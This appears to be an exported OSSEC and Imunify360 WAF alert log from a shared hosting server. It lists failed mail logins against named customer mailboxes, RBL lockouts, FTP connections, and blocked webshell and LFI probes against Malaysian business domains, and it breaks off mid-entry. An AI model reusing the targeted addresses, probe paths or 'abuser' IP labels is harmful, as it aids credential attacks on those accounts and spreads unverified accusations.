Jan 13 10:13:44 sv3 sshd[4171710]: Accepted publickey for root from 10.1.14.100 port 53614 ssh2: RSA SHA256:WdDh84n9i7OwfL83TC4Q9y94bNOmxYGU2yeZfrTsxL0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.209.152
country_id: 1269750
description:
2026-01-13 10:14:14 dovecot_plain authenticator failed for H=(tracons) [113.193.209.152]:42290: 535 Incorrect authentication data (set_id=info@nmahir.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.236.137.159
country_id: 1880251
description:
Jan 13 10:14:49 sv3 pure-ftpd[4175431]: (?@172.236.137.159) [INFO] New connection from 172.236.137.159


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.236.137.159
country_id: 1880251
description:
Jan 13 10:15:32 sv3 pure-ftpd[4178960]: (?@172.236.137.159) [INFO] New connection from 172.236.137.159


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.63.89
country_id: 1814991
description:
Jan 13 10:18:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.63.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.236.137.159
country_id: 1880251
description:
Jan 13 10:18:57 sv3 pure-ftpd[4189445]: (?@172.236.137.159) [INFO] New connection from 172.236.137.159


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.63.89
country_id: 1814991
description:
2026-01-13 10:18:58 dovecot_login authenticator failed for H=([111.26.63.88]) [111.26.63.89]:56770: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 10:19:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59088: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.236.137.159
country_id: 1880251
description:
Jan 13 10:19:11 sv3 pure-ftpd[4190068]: (?@172.236.137.159) [INFO] New connection from 172.236.137.159


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 10:19:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59089: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.12.21.138
country_id: 6252001
description:
Jan 13 10:19:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.12.21.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.12.21.138
country_id: 6252001
description:
2026-01-13 10:19:38 dovecot_plain authenticator failed for H=104-12-21-138.lightspeed.chrlnc.sbcglobal.net (quirte) [104.12.21.138]:59069: 535 Incorrect authentication data (set_id=admin@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.177.9.119
country_id: 3865483
description:
2026-01-13 10:20:32 dovecot_login authenticator failed for H=(181-177-9-119.fiberway.com.ar) [181.177.9.119]:54788: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 167.160.65.21
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-20.167.160.65.21||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/contact.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 10:22:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62727: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 10:22:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62727: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 182.62.160.90
country_id: 1733045
description:
[2026-01-13 10:22:44 +0800] info [webmaild] 182.62.160.90 - zawir@fkr.com.my "GET /cpsess7628445791/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [42.191.143.110] != Current IP Address [182.62.160.90]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-13 10:24:26 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:34140: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 18.97.19.130
country_id: 6252001
description:
Jan 13 10:24:26 sv3 pure-ftpd[15848]: (?@18.97.19.130) [WARNING] Authentication failed for user [anonymous]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 95.214.210.115
country_id: 1512440
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-25.95.214.210.115||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.26
country_id: 3057568
description:
Jan 13 10:29:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 10:30:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.161.27.82
country_id: 6252001
description:
Jan 13 10:30:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.161.27.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.161.27.82
country_id: 6252001
description:
2026-01-13 10:30:23 dovecot_plain authenticator failed for H=c-174-161-27-82.hsd1.tn.comcast.net (taric) [174.161.27.82]:35594: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.74.237.1
country_id: 1562822
description:
2026-01-13 10:30:29 dovecot_login authenticator failed for H=([127.0.0.1]) [27.74.237.1]:36935: 535 Incorrect authentication data (set_id=angiehng@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.188
country_id: 298795
description:
Jan 13 10:32:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-13 10:32:20 H=([185.214.10.21]) [185.214.10.21]:55997 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info@aircarbonic.my> rejected RCPT <info@aircarbonic.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-13 10:32:24 H=([45.144.212.54]) [45.144.212.54]:52247 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<mertul@kit-fa.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.145
country_id: 298795
description:
Jan 13 10:35:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.205
country_id: 953987
description:
Jan 13 10:36:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.205
country_id: 953987
description:
Jan 13 10:36:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.132
country_id: 3865483
description:
Jan 13 10:38:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.151
country_id: 3865483
description:
Jan 13 10:39:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.151
country_id: 3865483
description:
Jan 13 10:39:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.151 has been locked due to Imunify RBL


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 14.216.7.176
country_id: 1814991
domain: feliogroup.com.my
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/download.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 93.183.92.77
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-41.93.183.92.77||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 10:42:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-13 10:44:15 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 10:46:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 10:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59142: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.193.89
country_id: 798544
description:
Jan 13 10:47:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.193.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 10:47:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59143: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.165
country_id: 953987
description:
Jan 13 10:49:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.80
country_id: 3175395
description:
Jan 13 10:48:30 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.186
country_id: 798544
description:
Jan 13 10:48:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.193.89
country_id: 798544
description:
Jan 13 10:48:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.193.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.211
country_id: 953987
description:
Jan 13 10:48:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.165
country_id: 953987
description:
Jan 13 10:49:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 10:50:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63024: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 10:50:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63024: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.137
country_id: 3469034
description:
Jan 13 10:50:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.137 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.3.174
country_id: 1562822
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/run/428/695501 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.222
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/font-awesome.min.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.179
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/fonts/fonts.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/survey-meter/images/sliders/products.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.221
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/main-responsive.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.212
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/main.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.144
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/animate.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.241
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/bootstrap/css/bootstrap.min.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.163
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/owl.theme.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.232.183.35
country_id: 3625428
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.248
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/stylesheets/owl.carousel.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.237
country_id: 1880251
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/dsc-expat.com/fonts/font_icons/fontawesome-webfonte0a5.woff2?v=4.3.0 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.27.203
country_id: 3469034
description:
Jan 13 10:56:58 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.27.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.191
country_id: 3175395
description:
Jan 13 10:56:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.27.203
country_id: 3469034
description:
Jan 13 10:57:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.27.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-13 10:57:23 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:39206: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.44
country_id: 3175395
description:
Jan 13 10:59:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.249.49.252
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-59.104.249.49.252||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.134
country_id: 3469034
description:
Jan 13 10:59:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.65.239.26
country_id: 3469034
description:
Jan 13 11:01:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.65.239.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.65
country_id: 3865483
description:
Jan 13 11:01:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.7.187.195
country_id: 3469034
description:
Jan 13 11:03:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.7.187.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.134
country_id: 3469034
description:
Jan 13 11:04:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.134
country_id: 3469034
description:
Jan 13 11:04:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.74.136.134
country_id: 6252001
description:
Jan 13 11:05:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.74.136.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.74.136.134
country_id: 6252001
description:
2026-01-13 11:05:57 dovecot_plain authenticator failed for H=syn-050-074-136-134.biz.spectrum.com (systrica) [50.74.136.134]:50646: 535 Incorrect authentication data (set_id=mail@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.20.245.182
country_id: 1269750
description:
Jan 13 11:12:00 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.20.245.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.245.182
country_id: 1269750
description:
2026-01-13 11:12:02 dovecot_login authenticator failed for H=([182.78.255.201]) [125.20.245.182]:35266: 535 Incorrect authentication data (set_id=iliyas)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.147.248.44
country_id: 1269750
description:
Jan 13 11:11:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.147.248.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.44
country_id: 1269750
description:
2026-01-13 11:11:34 dovecot_login authenticator failed for H=([103.147.248.44]) [103.147.248.44]:56760: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.29
country_id: 953987
description:
Jan 13 11:11:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.29
country_id: 953987
description:
Jan 13 11:12:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 11:15:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59171: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.166.134.9
country_id: 1814991
description:
Jan 13 11:14:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.166.134.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.166.134.9
country_id: 1814991
description:
2026-01-13 11:14:46 dovecot_login authenticator failed for H=(9.134.166.220.broad.dy.sc.dynamic.163data.com.cn) [220.166.134.9]:50744: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.252
country_id: 2510769
description:
Jan 13 11:14:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.252 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 11:15:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59171: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.222
country_id: 6290252
description:
Jan 13 11:15:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.140.38.110
country_id: 1269750
description:
Jan 13 11:16:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.140.38.110 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.75
country_id: 1880251
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/about.php||SC:/home2/dynamichrcom/public_html/images/about.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.140.38.110
country_id: 1269750
description:
2026-01-13 11:16:46 dovecot_login authenticator failed for H=(202.140.38.110.convergentindia.com) [202.140.38.110]:35236: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 11:18:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63217: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.182
country_id: 798544
description:
Jan 13 11:18:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
